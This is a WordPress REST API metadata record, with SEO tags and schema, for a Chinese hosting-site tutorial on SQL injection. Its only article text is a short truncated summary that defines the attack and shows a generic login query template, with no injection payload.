content=\"2026-01-23T08:16:25+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e579e38b.webp\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/64473.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/64473.html\",\"name\":\"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-01-23T08:16:25+00:00\",\"dateModified\":\"2026-01-23T08:16:25+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/64473.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/64473.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/64473.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/64473.html","og_locale":"zh_CN","og_type":"article","og_title":"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"SQL\u6ce8\u5165\u8be6\u89e3 \u4e00\u3001\u4ec0\u4e48\u662fSQL\u6ce8\u5165&#xff1f; SQL\u6ce8\u5165&#xff08;SQL Injection&#xff09;\u662f\u4e00\u79cd\u5c06\u6076\u610fSQL\u4ee3\u7801\u63d2\u5165\u5230\u5e94\u7528\u7a0b\u5e8f\u8f93\u5165\u53c2\u6570\u4e2d\u7684\u653b\u51fb\u6280\u672f&#xff0c;\u653b\u51fb\u6210\u529f\u540e\u53ef\u4ee5\u83b7\u53d6\u3001\u7be1\u6539\u6216\u5220\u9664\u6570\u636e\u5e93\u6570\u636e&#xff0c;\u751a\u81f3\u63a7\u5236\u670d\u52a1\u5668\u3002 \u4e8c\u3001\u653b\u51fb\u539f\u7406 -- \u539f\u59cb\u67e5\u8be2\u8bed\u53e5 SELECT * FROM users WHERE username [\u7528\u6237\u8f93\u5165] AND password [\u7528\u6237\u8f93\u5165]-- \u653b\u51fb\u8005\u8f93\u5165&#xff1a; \u7528\u6237\u540d&amp;#","og_url":"https:\/\/www.wsisp.com\/helps\/64473.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-01-23T08:16:25+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e579e38b.webp"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/64473.html","url":"https:\/\/www.wsisp.com\/helps\/64473.html","name":"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-01-23T08:16:25+00:00","dateModified":"2026-01-23T08:16:25+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/64473.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/64473.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/64473.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/64473","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=64473"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/64473\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/64472"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=64473"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=64473"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=64473"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=64473"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}